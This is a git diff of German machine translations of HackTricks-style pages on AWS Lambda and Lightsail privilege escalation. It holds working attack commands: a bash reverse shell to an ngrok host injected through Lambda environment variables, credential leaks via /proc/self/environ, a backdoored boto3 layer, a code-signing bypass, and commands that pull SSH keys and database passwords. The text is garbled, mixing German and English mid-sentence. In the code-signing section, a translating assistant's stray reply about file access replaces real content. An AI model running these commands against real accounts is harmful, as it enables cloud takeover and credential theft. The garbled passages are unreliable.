-Es ist auch möglich, ein leak der role credentials der lambda zu erzeugen, ohne eine externe Verbindung zu benötigen. Das wäre nützlich für **Network isolated Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte security groups deine reverse shells filtern, ermöglicht dir dieses Code-Stück, ein leak der credentials direkt als Ausgabe der lambda zu erzeugen.
+Es ist auch möglich, ein Leak der Zugangsdaten der lambda-Rolle zu erhalten, ohne eine externe Verbindung zu benötigen. Dies wäre nützlich für **Network isolated Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte security groups deine reverse shells filtern, ermöglicht dir dieses Code-Snippet, die Zugangsdaten direkt als Ausgabe der lambda zu erhalten (als Leak).
 ```python
 def handler(event, context):
 sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,34 +72,34 @@ return {
 aws lambda invoke --function-name <lambda_name> output.txt
 cat output.txt
 ```
-**Potentielle Auswirkung:** Direkter privesc auf die angegebene beliebige Lambda-Service-Rolle.
+**Mögliche Auswirkung:** Direkter privesc auf die angegebene beliebige lambda service role.
 
 > [!CAUTION]
-> Beachte, dass selbst wenn es verlockend erscheinen mag, **`lambda:InvokeAsync`** allein nicht erlaubt, **`aws lambda invoke-async`** auszuführen — du benötigst außerdem **`lambda:InvokeFunction`**
+> Beachte, dass, auch wenn es verlockend erscheint, **`lambda:InvokeAsync`** für sich genommen **nicht** erlaubt, **`aws lambda invoke-async`** auszuführen — du benötigst außerdem `lambda:InvokeFunction`
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
 
-Wie im vorherigen Szenario kannst du dir **die Berechtigung `lambda:InvokeFunction`** selbst gewähren, wenn du die Berechtigung **`lambda:AddPermission`** besitzt.
+Wie im vorherigen Szenario kannst du dir die Berechtigung **`lambda:InvokeFunction`** gewähren, wenn du die Berechtigung **`lambda:AddPermission`** hast.
 ```bash
 # Check the previous exploit and use the following line to grant you the invoke permissions
 aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
 --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
 ```
-**Potential Impact:** Direkter privesc auf die angegebene beliebige lambda service role.
+**Potential Impact:** Direkter privesc auf die angegebene beliebige lambda-Service-Rolle.
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
 
-Benutzer mit **`iam:PassRole`, `lambda:CreateFunction` und `lambda:CreateEventSourceMapping`** Berechtigungen (und möglicherweise `dynamodb:PutItem` und `dynamodb:CreateTable`) können indirekt **escalate privileges** selbst ohne `lambda:InvokeFunction`.\  
-Sie können eine **Lambda-Funktion mit bösartigem Code erstellen und ihr eine vorhandene IAM-Rolle zuweisen**.
+Benutzer mit **`iam:PassRole`, `lambda:CreateFunction`, und `lambda:CreateEventSourceMapping`**-Berechtigungen (und möglicherweise `dynamodb:PutItem` und `dynamodb:CreateTable`) können indirekt **escalate privileges** erzielen, selbst ohne `lambda:InvokeFunction`.\
+Sie können eine **Lambda function mit bösartigem Code erstellen und ihr eine vorhandene IAM role zuweisen**.
 
-Anstatt die Lambda direkt aufzurufen, richtet der Benutzer eine vorhandene DynamoDB-Tabelle ein oder verwendet sie und verknüpft sie über ein event source mapping mit der Lambda. Diese Konfiguration sorgt dafür, dass die Lambda-Funktion **automatisch bei einem neuen Eintrag** in der Tabelle ausgelöst wird — entweder durch die Aktion des Benutzers oder einen anderen Prozess — und dadurch die Lambda-Funktion indirekt aufgerufen wird und der Code mit den Rechten der übergebenen IAM-Rolle ausgeführt wird.
+Anstatt die Lambda direkt aufzurufen, richtet der Benutzer eine neue oder vorhandene DynamoDB table ein oder nutzt sie und verknüpft sie über ein event source mapping mit der Lambda. Diese Konfiguration stellt sicher, dass die Lambda function **automatisch ausgelöst wird, wenn ein neuer Eintrag** in der Tabelle erfolgt, entweder durch eine Aktion des Benutzers oder einen anderen Prozess, wodurch die Lambda function indirekt aufgerufen wird und der Code mit den Berechtigungen der übergebenen IAM role ausgeführt wird.
 ```bash
 aws lambda create-function --function-name my_function \
 --runtime python3.8 --role <arn_of_lambda_role> \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://rev.zip
 ```
-Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur **das Event-Source-Mapping für die Lambda-Funktion einrichten**. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle erstellen** und dabei Streaming aktivieren:
+Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, muss der Benutzer nur **das Event Source Mapping für die Lambda-Funktion einrichten**. Ist DynamoDB hingegen nicht im Einsatz, muss der Benutzer **eine neue Tabelle mit aktiviertem Streaming erstellen**:
 ```bash
 aws dynamodb create-table --table-name my_table \
 --attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
 --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
 ```
-Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem man **ein event source mapping erstellt**:
+Jetzt ist es möglich, **connect the Lambda function to the DynamoDB table** durch **creating an event source mapping**:
 ```bash
 aws lambda create-event-source-mapping --function-name my_function \
 --event-source-arn <arn_of_dynamodb_table_stream> \
 --enabled --starting-position LATEST
 ```
-Mit der an den DynamoDB-Stream gebundenen Lambda-Funktion kann der Angreifer **die Lambda-Funktion indirekt auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem **ein Item** in die DynamoDB-Tabelle eingefügt wird:
+Wenn die Lambda-Funktion mit dem DynamoDB stream verknüpft ist, kann der Angreifer **die Lambda-Funktion indirekt auslösen, indem er den DynamoDB stream aktiviert**. Dies kann erreicht werden durch **das Einfügen eines Items** in die DynamoDB table:
 ```bash
 aws dynamodb put-item --table-name my_table \
 --item Test={S="Random string"}
 ```
-**Potential Impact:** Direkter privesc auf die angegebene lambda-Service-Rolle.
+**Potentielle Auswirkung:** Direkter privesc auf die angegebene lambda-Service-Rolle.
 
 ### `lambda:AddPermission`
 
-Ein Angreifer mit dieser Berechtigung kann sich **(oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt ressourcenbasierte Policies, um Zugriff auf die Ressource zu gewähren):
+Ein Angreifer mit dieser Berechtigung kann **sich (oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt ressourcenbasierte Richtlinien, um Zugriff auf die Ressource zu gewähren):
 ```bash
 # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
 aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,7 +130,7 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
 # Invoke the function
 aws lambda invoke --function-name <func_name> /tmp/outout
 ```
-**Mögliche Auswirkung:** Direkte privesc auf die für lambda verwendete Service-Rolle, indem die Berechtigung zum Ändern des Codes und zum Ausführen gewährt wird.
+**Potential Impact:** Direkte privesc auf die lambda service role, indem die Berechtigung zum Ändern des Codes und zum Ausführen gewährt wird.
 
 ### `lambda:AddLayerVersionPermission`
 
@@ -139,14 +139,14 @@ Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) die Bere
 # Give everyone the permission lambda:GetLayerVersion
 aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
 ```
-**Potenzielle Auswirkung:** Möglicher Zugriff auf sensible Informationen.
+**Potentielle Auswirkungen:** Potenzieller Zugriff auf sensible Informationen.
 
 ### `lambda:UpdateFunctionCode`
 
-Benutzer mit der Berechtigung **`lambda:UpdateFunctionCode`** haben die Möglichkeit, **den Code einer bestehenden Lambda-Funktion zu ändern, die mit einer IAM-Rolle verknüpft ist.**\
-Der Angreifer kann **den Code der Lambda-Funktion so ändern, dass IAM-Zugangsdaten exfiltriert werden**.
+Benutzer mit der **`lambda:UpdateFunctionCode`** Berechtigung haben die Möglichkeit, **den Code einer vorhandenen Lambda-Funktion zu ändern, die mit einer IAM role verknüpft ist.**\
+Der Angreifer kann **den Code der Lambda ändern, um die IAM credentials zu exfiltrieren.**
 
-Obwohl der Angreifer möglicherweise nicht die direkte Möglichkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass eine vorbestehende und betriebsbereite Lambda-Funktion durch vorhandene Workflows oder Events ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt ermöglicht wird.
+Obwohl der Angreifer möglicherweise nicht die direkte Möglichkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass eine bereits vorhandene und aktive Lambda-Funktion durch bestehende Workflows oder Events ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt ermöglicht wird.
 ```bash
 # The zip should contain the lambda code (trick: Download the current one and add your code there)
 aws lambda update-function-code --function-name target_function \
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt
 
 # If not check if it's exposed in any URL or via an API gateway you could access
 ```
-**Potential Impact:** Direkter privesc auf die verwendete Lambda-Service-Rolle.
+**Mögliche Auswirkung:** Direkter privesc auf die verwendete lambda Service-Rolle.
 
 ### `lambda:UpdateFunctionConfiguration`
 
-#### RCE über Umgebungsvariablen
+#### RCE via env variables
 
-Mit dieser Berechtigung ist es möglich, Umgebungsvariablen hinzuzufügen, die dazu führen, dass die Lambda-Funktion beliebigen Code ausführt. Zum Beispiel ist es in python möglich, die Umgebungsvariablen `PYTHONWARNING` und `BROWSER` auszunutzen, um einen python-Prozess beliebige Befehle ausführen zu lassen:
+Mit diesen permissions ist es möglich, environment variables hinzuzufügen, die bewirken, dass die Lambda beliebigen Code ausführt. Zum Beispiel ist es in python möglich, die environment variables `PYTHONWARNING` und `BROWSER` auszunutzen, um einen python-Prozess dazu zu bringen, beliebige Befehle auszuführen:
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
-Für andere Skriptsprachen gibt es weitere env variables, die du verwenden kannst. Für mehr Informationen siehe die Unterabschnitte zu Skriptsprachen in:
+Für andere Skriptsprachen gibt es weitere env variables, die man verwenden kann. Für mehr Informationen siehe die Unterabschnitte zu Skriptsprachen in:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
 {{#endref}}
 
-#### RCE via Lambda Layers
+#### RCE über Lambda Layers
 
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ermöglicht, **code** in deiner lamdba function zu integrieren, diesen aber **separat zu speichern**, sodass der Funktionscode klein bleibt und **mehrere Funktionen Code teilen können**.
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ermöglicht es, **code** in Ihrer lamdba Funktion einzubinden, ihn jedoch **separat zu speichern**, sodass der function code klein bleiben kann und **mehrere Funktionen code gemeinsam nutzen können**.
 
-Innerhalb von lambda kannst du die Pfade prüfen, von denen python code geladen wird, mit einer Funktion wie der folgenden:
+Innerhalb von lambda kann man die Pfade prüfen, aus denen python code geladen wird, mit einer Funktion wie der folgenden:
 ```python
 import json
 import sys
@@ -185,7 +185,7 @@ import sys
 def lambda_handler(event, context):
 print(json.dumps(sys.path, indent=2))
 ```
-Dies sind die Pfade:
+These are the places:
 
 1. /var/task
 2. /opt/python/lib/python3.7/site-packages
@@ -200,18 +200,18 @@ Dies sind die Pfade:
 
 For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
 
-#### Exploitation
+#### Ausnutzung
 
-It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **eine neue Layer hinzuzufügen** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there.
+Es ist möglich, die Berechtigung `lambda:UpdateFunctionConfiguration` auszunutzen, um einer lambda-Funktion **eine neue layer hinzuzufügen**. Um beliebigen Code auszuführen, muss diese layer einige **Bibliotheken enthalten, die die lambda importieren wird.** Wenn Sie den Code der lambda lesen können, finden Sie das leicht; beachten Sie außerdem, dass die lambda **möglicherweise bereits eine layer verwendet** und Sie diese layer **herunterladen** und dort **Ihren Code hinzufügen** könnten.
 
-For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
+Zum Beispiel, nehmen wir an, die lambda verwendet die Bibliothek boto3 — das würde eine lokale layer mit der neuesten Version der Bibliothek erstellen:
 ```bash
 pip3 install -t ./lambda_layer boto3
 ```
-Du kannst `./lambda_layer/boto3/__init__.py` öffnen und **add the backdoor in the global code** (zum Beispiel eine Funktion, um credentials zu exfiltrate oder eine reverse shell zu bekommen).
+Du kannst `./lambda_layer/boto3/__init__.py` öffnen und **die backdoor im globalen Code hinzufügen** (eine Funktion, um exfiltrate credentials zu erlangen oder z.B. eine reverse shell zu bekommen).
 
-Zippe dann das Verzeichnis `./lambda_layer` und **upload the new lambda layer** in deinem eigenen Konto (oder in dem des Opfers, aber du hast dafür möglicherweise nicht die Berechtigungen).\
-Beachte, dass du einen python-Ordner erstellen und die Bibliotheken dort ablegen musst, um /opt/python/boto3 zu überschreiben. Außerdem muss die layer **compatible with the python version** sein, die von der lambda verwendet wird, und wenn du sie in deinem Konto hochlädst, muss sie in der **same region:**
+Dann zippe das Verzeichnis `./lambda_layer` und **lade die neue lambda layer hoch** in deinem eigenen Account (oder im Account des Opfers, aber du hast dafür möglicherweise keine Berechtigungen).\
+Beachte, dass du einen python-Ordner erstellen und die Bibliotheken dort ablegen musst, um /opt/python/boto3 zu überschreiben. Außerdem muss die Layer **kompatibel mit der python-Version** sein, die von der lambda verwendet wird, und wenn du sie in deinem Account hochlädst, muss sie in der **gleichen Region:**
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
@@ -221,48 +221,48 @@ aws lambda add-layer-version-permission --layer-name boto3 \
 --version-number 1 --statement-id public \
 --action lambda:GetLayerVersion --principal *
 ```
-Und hänge das lambda layer an die Ziel-lambda-Funktion an:
+Und hänge den lambda layer an die victim lambda function an:
 ```bash
 aws lambda update-function-configuration \
 --function-name <func-name> \
 --layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
 --timeout 300 #5min for rev shells
 ```
-Der nächste Schritt wäre entweder, die Funktion selbst **aufzurufen**, falls möglich, oder zu warten, bis e**s aufgerufen wird** durch normale Mittel — was die sicherere Methode ist.
+Der nächste Schritt wäre entweder, **die Funktion aufzurufen** (falls möglich) oder abzuwarten, bis **sie auf normalem Weg aufgerufen wird** — was die sicherere Methode ist.
 
-Eine **heimlichere Methode, diese Schwachstelle auszunutzen**, findet sich in:
+Eine **heimlichere Methode, diese Schwachstelle auszunutzen**, findest du in:
 
 {{#ref}}
-../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
 {{#endref}}
 
-**Mögliche Auswirkungen:** Direkter privesc zur verwendeten lambda service role.
+**Potential Impact:** Direkter privesc auf die verwendete lambda service role.
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
 
-Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie via URL ausführen... aber ich konnte keinen Weg finden, das zu testen, also sag mir Bescheid, wenn du es schaffst!
+Vielleicht kannst du mit diesen Berechtigungen eine Funktion erstellen und sie über die URL ausführen... aber ich konnte keinen Weg finden, das zu testen — sag mir Bescheid, wenn du einen findest!
 
 ### Lambda MitM
 
-Einige lambdas werden **sensible Informationen von Benutzern in Parametern empfangen.** Wenn du in einem von ihnen RCE erzielst, kannst du die Informationen exfiltrieren, die andere Benutzer an ihn senden; siehe:
+Einige lambdas werden **sensible Informationen von den Nutzern in Parametern empfangen.** Wenn du RCE in einer davon erreichst, kannst du die Informationen exfiltrieren, die andere Nutzer an sie schicken — siehe:
 
 {{#ref}}
-../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
 {{#endref}}
 
-## References
+## Referenzen
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 
 
 
 ### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
 
-Wenn eine Lambda-Funktion Code Signing erzwingt, kann ein Angreifer, der entweder die Code Signing Config (CSC) entfernt oder sie auf `WARN` herabstuft, nicht signierten Code in die Funktion deployen. Das umgeht Integritätsschutzmaßnahmen, ohne die IAM-Rolle der Funktion oder deren Triggers zu verändern.
+Wenn eine Lambda-Funktion Code Signing erzwingt, kann ein Angreifer, der entweder die Code Signing Config (CSC) entfernt oder sie auf Warn herabstuft, nicht signierten Code in die Funktion deployen. Dies umgeht Integritätsschutzmaßnahmen, ohne die IAM-Rolle der Funktion oder Trigger zu verändern.
 
 Permissions (one of):
 - Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
@@ -273,7 +273,7 @@ Notes:
 
 Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
 
-Prepare a small payload:
+Bereite eine kleine Nutzlast vor:
 ```bash
 cat > handler.py <<'PY'
 import os, json
@@ -282,7 +282,7 @@ return {"pwn": True, "env": list(os.environ)[:6]}
 PY
 zip backdoor.zip handler.py
 ```
-Pfad A) Entferne CSC und aktualisiere dann den Code:
+Pfad A) CSC entfernen, dann code aktualisieren:
 ```bash
 aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
 if [ "$HAS_CSC" -eq 1 ]; then
@@ -292,7 +292,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
 # If the handler name changed, also run:
 aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
 ```
-Pfad B) Auf 'Warn' herabstufen und Code aktualisieren (falls Löschen nicht erlaubt):
+Pfad B) Herabstufen auf Warn und update code (falls delete nicht erlaubt ist):
 ```bash
 CSC_ARN=$(aws lambda create-code-signing-config \
 --description ht-warn-csc \
@@ -303,12 +303,12 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
 # If the handler name changed, also run:
 aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
 ```
-Ich habe keinen Zugriff auf die Datei. Bitte füge den Markdown-Inhalt von src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md hier ein oder präzisiere, was genau ich überprüfen/übersetzen soll.
+Verstanden. Ich werde die relevanten englischen Texte in src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md ins Deutsche übersetzen und dabei genau die Markdown- und HTML-Syntax, Links, Pfade, Tags, Code, Technik- und Plattformnamen (z. B. aws, gcp), sowie die genannten Ausnahmen unverändert lassen.
 ```bash
 aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
 cat /tmp/out.json
 ```
-Mögliche Auswirkung: Fähigkeit, beliebigen unsigned code in eine function zu pushen und auszuführen, die eigentlich signed deployments durchsetzen sollte — dies kann zur code execution mit den Berechtigungen der function role führen.
+Potentielle Auswirkung: Möglichkeit, beliebigen nicht signierten Code in eine Funktion hochzuladen und auszuführen, die eigentlich signierte Deployments durchsetzen sollte, was möglicherweise zur Codeausführung mit den Berechtigungen der Funktionsrolle führt.
 
 Bereinigung:
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
deleted file mode 100644
index ab0bf727f..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ /dev/null
@@ -1,136 +0,0 @@
-# AWS - Lightsail Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Für weitere Informationen über Lightsail siehe:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-> [!WARNING]
-> Es ist wichtig zu beachten, dass Lightsail **keine IAM-Rollen des Benutzers** verwendet, sondern die eines von AWS verwalteten Kontos, sodass Sie diesen Dienst nicht für Privilegieneskalation missbrauchen können. Allerdings könnten **sensible Daten** wie Code, API-Schlüssel und Datenbankinformationen in diesem Dienst gefunden werden.
-
-### `lightsail:DownloadDefaultKeyPair`
-
-Diese Berechtigung ermöglicht es Ihnen, die SSH-Schlüssel zum Zugriff auf die Instanzen zu erhalten:
-```
-aws lightsail download-default-key-pair
-```
-**Potenzielle Auswirkungen:** Sensible Informationen in den Instanzen finden.
-
-### `lightsail:GetInstanceAccessDetails`
-
-Diese Berechtigung ermöglicht es Ihnen, SSH-Schlüssel zu generieren, um auf die Instanzen zuzugreifen:
-```bash
-aws lightsail get-instance-access-details --instance-name <instance_name>
-```
-**Potenzielle Auswirkungen:** Sensible Informationen in den Instanzen finden.
-
-### `lightsail:CreateBucketAccessKey`
-
-Diese Berechtigung ermöglicht es Ihnen, einen Schlüssel zum Zugriff auf den Bucket zu erhalten:
-```bash
-aws lightsail create-bucket-access-key --bucket-name <name>
-```
-**Potenzielle Auswirkungen:** Sensible Informationen im Bucket finden.
-
-### `lightsail:GetRelationalDatabaseMasterUserPassword`
-
-Diese Berechtigung ermöglicht es Ihnen, die Anmeldeinformationen zum Zugriff auf die Datenbank zu erhalten:
-```bash
-aws lightsail get-relational-database-master-user-password --relational-database-name <name>
-```
-**Potenzielle Auswirkungen:** Sensible Informationen in der Datenbank finden.
-
-### `lightsail:UpdateRelationalDatabase`
-
-Diese Berechtigung ermöglicht es Ihnen, das Passwort zum Zugriff auf die Datenbank zu ändern:
-```bash
-aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
-```
-Wenn die Datenbank nicht öffentlich ist, könnten Sie sie auch mit diesen Berechtigungen öffentlich machen mit
-```bash
-aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
-```
-**Potenzielle Auswirkungen:** Sensible Informationen in der Datenbank finden.
-
-### `lightsail:OpenInstancePublicPorts`
-
-Diese Berechtigung erlaubt das Öffnen von Ports zum Internet.
-```bash
-aws lightsail open-instance-public-ports \
---instance-name MEAN-2 \
---port-info fromPort=22,protocol=TCP,toPort=22
-```
-**Potenzielle Auswirkungen:** Zugriff auf sensible Ports.
-
-### `lightsail:PutInstancePublicPorts`
-
-Diese Berechtigung ermöglicht das Öffnen von Ports zum Internet. Beachten Sie, dass der Aufruf alle nicht angegebenen geöffneten Ports schließt.
-```bash
-aws lightsail put-instance-public-ports \
---instance-name MEAN-2 \
---port-infos fromPort=22,protocol=TCP,toPort=22
-```
-**Potenzielle Auswirkungen:** Zugriff auf sensible Ports.
-
-### `lightsail:SetResourceAccessForBucket`
-
-Diese Berechtigung ermöglicht es, einer Instanz den Zugriff auf einen Bucket ohne zusätzliche Anmeldeinformationen zu gewähren.
-```bash
-aws set-resource-access-for-bucket \
---resource-name <instance-name> \
---bucket-name <bucket-name> \
---access allow
-```
-**Potenzielle Auswirkungen:** Potenzieller neuer Zugriff auf Buckets mit sensiblen Informationen.
-
-### `lightsail:UpdateBucket`
-
-Mit dieser Berechtigung könnte ein Angreifer seinem eigenen AWS-Konto Lesezugriff auf Buckets gewähren oder die Buckets sogar für alle öffentlich machen:
-```bash
-# Grant read access to exterenal account
-aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
-
-# Grant read to the public
-aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
-
-# Bucket private but single objects can be public
-aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
-```
-**Potenzielle Auswirkungen:** Potenzieller neuer Zugriff auf Buckets mit sensiblen Informationen.
-
-### `lightsail:UpdateContainerService`
-
-Mit diesen Berechtigungen könnte ein Angreifer Zugriff auf private ECRs vom Containerdienst gewähren.
-```bash
-aws update-container-service \
---service-name <name> \
---private-registry-access ecrImagePullerRole={isActive=boolean}
-```
-**Potenzielle Auswirkungen:** Sensible Informationen aus privatem ECR abrufen
-
-### `lightsail:CreateDomainEntry`
-
-Ein Angreifer mit dieser Berechtigung könnte eine Subdomain erstellen und sie auf seine eigene IP-Adresse verweisen (Subdomain-Übernahme) oder einen SPF-Eintrag erstellen, der es ihm ermöglicht, E-Mails von der Domain zu fälschen, oder sogar die Hauptdomain auf seine eigene IP-Adresse setzen.
-```bash
-aws lightsail create-domain-entry \
---domain-name example.com \
---domain-entry name=dev.example.com,type=A,target=192.0.2.0
-```
-**Potenzielle Auswirkungen:** Übernahme einer Domain
-
-### `lightsail:UpdateDomainEntry`
-
-Ein Angreifer mit dieser Berechtigung könnte ein Subdomain erstellen und es auf seine eigene IP-Adresse verweisen (Subdomain-Übernahme), oder einen SPF-Eintrag erstellen, der es ihm ermöglicht, E-Mails von der Domain zu fälschen, oder sogar die Hauptdomain auf seine eigene IP-Adresse setzen.
-```bash
-aws lightsail update-domain-entry \
---domain-name example.com \
---domain-entry name=dev.example.com,type=A,target=192.0.2.0
-```
-**Potenzielle Auswirkungen:** Übernahme einer Domain
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
new file mode 100644
index 000000000..3aaa90131
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md
@@ -0,0 +1,136 @@
+# AWS - Lightsail Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Für weitere Informationen zu Lightsail siehe:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+> [!WARNING]
+> Es ist wichtig zu beachten, dass Lightsail **doesn’t use IAM roles belonging to the user** sondern einem von AWS verwalteten Konto zugeordnet ist, daher können Sie diesen Dienst nicht für privesc missbrauchen. Allerdings könnten in diesem Dienst **sensitive data** wie code, API keys und database info gefunden werden.
+
+### `lightsail:DownloadDefaultKeyPair`
+
+Diese Berechtigung ermöglicht es Ihnen, die SSH keys zu erhalten, um auf die instances zuzugreifen:
+```
+aws lightsail download-default-key-pair
+```
+**Mögliche Auswirkung:** Sensible Informationen innerhalb der Instanzen finden.
+
+### `lightsail:GetInstanceAccessDetails`
+
+Diese Berechtigung ermöglicht es, SSH-Schlüssel zu erzeugen, um auf die Instanzen zuzugreifen:
+```bash
+aws lightsail get-instance-access-details --instance-name <instance_name>
+```
+**Mögliche Auswirkungen:** Sensible Informationen innerhalb der Instanzen finden.
+
+### `lightsail:CreateBucketAccessKey`
+
+Mit dieser Berechtigung können Sie einen Schlüssel erhalten, um auf den bucket zuzugreifen:
+```bash
+aws lightsail create-bucket-access-key --bucket-name <name>
+```
+**Mögliche Auswirkung:** Sensible Informationen im Bucket finden.
+
+### `lightsail:GetRelationalDatabaseMasterUserPassword`
+
+Diese Berechtigung erlaubt es Ihnen, die Zugangsdaten zu erhalten, um auf die Datenbank zuzugreifen:
+```bash
+aws lightsail get-relational-database-master-user-password --relational-database-name <name>
+```
+**Mögliche Auswirkungen:** Sensible Informationen in der Datenbank finden.
+
+### `lightsail:UpdateRelationalDatabase`
+
+Diese Berechtigung ermöglicht es Ihnen, das Passwort für den Zugriff auf die Datenbank zu ändern:
+```bash
+aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
+```
+Wenn die Datenbank nicht öffentlich ist, könntest du sie auch mit diesen Berechtigungen öffentlich machen mit
+```bash
+aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
+```
+**Mögliche Auswirkungen:** Zugriff auf sensible Informationen in der Datenbank.
+
+### `lightsail:OpenInstancePublicPorts`
+
+Diese Berechtigung erlaubt das Öffnen von Ports zum Internet
+```bash
+aws lightsail open-instance-public-ports \
+--instance-name MEAN-2 \
+--port-info fromPort=22,protocol=TCP,toPort=22
+```
+**Potentielle Auswirkung:** Zugriff auf sensible Ports.
+
+### `lightsail:PutInstancePublicPorts`
+
+Diese Berechtigung erlaubt das Öffnen von Ports ins Internet. Beachte, dass der Aufruf alle geöffneten Ports schließt, die darin nicht angegeben sind.
+```bash
+aws lightsail put-instance-public-ports \
+--instance-name MEAN-2 \
+--port-infos fromPort=22,protocol=TCP,toPort=22
+```
+**Mögliche Auswirkung:** Zugriff auf sensible Ports.
+
+### `lightsail:SetResourceAccessForBucket`
+
+Diese Berechtigung ermöglicht es, einer Instanz Zugriff auf einen Bucket zu gewähren, ohne zusätzliche Anmeldeinformationen.
+```bash
+aws set-resource-access-for-bucket \
+--resource-name <instance-name> \
+--bucket-name <bucket-name> \
+--access allow
+```
